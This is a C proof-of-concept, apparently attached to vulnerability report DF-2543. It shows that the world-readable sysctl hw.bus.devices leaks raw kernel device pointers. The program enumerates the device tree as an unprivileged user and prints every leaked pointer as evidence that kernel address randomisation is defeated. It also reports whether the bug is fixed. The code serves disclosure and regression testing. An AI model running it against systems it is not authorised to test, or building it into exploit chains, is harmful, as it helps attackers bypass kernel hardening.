DF-2543 / poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 | /* * DF-2543 PoC: kernel-pointer leak via world-readable sysctl hw.bus.devices. * * sys/kern/subr_bus.c sysctl_devices() copies the raw kernel virtual address * of every device_t (and its parent) into the dv_handle/dv_parent fields of * struct u_device (sys/sys/bus.h) returned to userland: * * udev.dv_handle = (uintptr_t)dev; // raw device_t pointer * udev.dv_parent = (uintptr_t)dev->parent; // raw parent pointer * * The node is CTLFLAG_RD (world-readable; the sysctl framework gates only * writes via SYSCAP, not reads). This PoC reads the device tree as an * unprivileged user and prints every leaked pointer, defeating KASLR and * disclosing kernel-heap layout. * * Build: cc -o poc poc.c * Run: ./poc * Expected (bug present): non-zero 0xffff... pointers in dv_handle/dv_parent * Expected (fixed): dv_handle == 0 && dv_parent == 0 for every device */ #include <sys/types.h> #include <sys/sysctl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <err.h> /* struct u_businfo -- matches sys/kern/subr_bus.c */ struct u_businfo { uint32_t ub_version; uint32_t ub_generation; }; /* * struct u_device -- matches sys/sys/bus.h exactly (amd64 layout). * We define it locally to avoid pulling the heavy kernel <sys/bus.h> into * userland. dv_handle / dv_parent are the first two uintptr_t fields. */ struct u_device { uintptr_t dv_handle; uintptr_t dv_parent; char dv_name[32]; char dv_desc[32]; char dv_drivername[32]; char dv_pnpinfo[128]; char dv_location[128]; uint32_t dv_devflags; uint16_t dv_flags; int32_t dv_state; /* device_state_t is an enum (= int) */ }; int main(void) { int dev_mib[5], info_mib[CTL_MAXNAME]; size_t miblen, len; struct u_businfo ubus; struct u_device udev; int idx; int leaked_handles = 0, leaked_parents = 0; int total = 0; /* 1. Read generation count from hw.bus.info (MIB = 6.279.257) */ miblen = CTL_MAXNAME; if (sysctlnametomib("hw.bus.info", info_mib, &miblen) == -1) err(1, "sysctlnametomib(hw.bus.info)"); len = sizeof(ubus); if (sysctl(info_mib, miblen, &ubus, &len, NULL, 0) == -1) err(1, "sysctl(hw.bus.info)"); printf("BUS_USER_VERSION=%u generation=%u (struct u_device size=%zu)\n", ubus.ub_version, ubus.ub_generation, sizeof(udev)); /* 2. Resolve the hw.bus.devices MIB (6.279.256) */ miblen = CTL_MAXNAME; if (sysctlnametomib("hw.bus.devices", dev_mib, &miblen) == -1) err(1, "sysctlnametomib(hw.bus.devices)"); /* 3. Enumerate every device by index */ for (idx = 0; ; idx++) { dev_mib[3] = ubus.ub_generation; dev_mib[4] = idx; len = sizeof(udev); memset(&udev, 0, sizeof(udev)); if (sysctl(dev_mib, 5, &udev, &len, NULL, 0) == -1) break; /* ENOENT => end of list */ total++; /* A kernel pointer on amd64 lives in the canonical 0xffff... range. */ int is_kptr_h = (udev.dv_handle >> 48) == 0xffff; int is_kptr_p = (udev.dv_parent >> 48) == 0xffff; if (udev.dv_handle != 0) leaked_handles++; if (udev.dv_parent != 0) leaked_parents++; printf("[%3d] handle=0x%016jx%s parent=0x%016jx%s %-16s\n", idx, (uintmax_t)udev.dv_handle, is_kptr_h ? "*" : " ", (uintmax_t)udev.dv_parent, is_kptr_p ? "*" : " ", udev.dv_name); } printf("\n--- summary ---\n"); printf("devices enumerated : %d\n", total); printf("leaked dv_handle : %d (raw device_t kernel pointers)\n", leaked_handles); printf("leaked dv_parent : %d (raw parent device_t kernel pointers)\n", leaked_parents); if (leaked_handles > 0 || leaked_parents > 0) { printf("\nRESULT: LEAK CONFIRMED -- %d raw kernel pointers disclosed " "(KASLR defeated)\n", leaked_handles + leaked_parents); return (0); } printf("\nRESULT: NO LEAK -- dv_handle/dv_parent sanitized (fixed)\n"); return (1); } |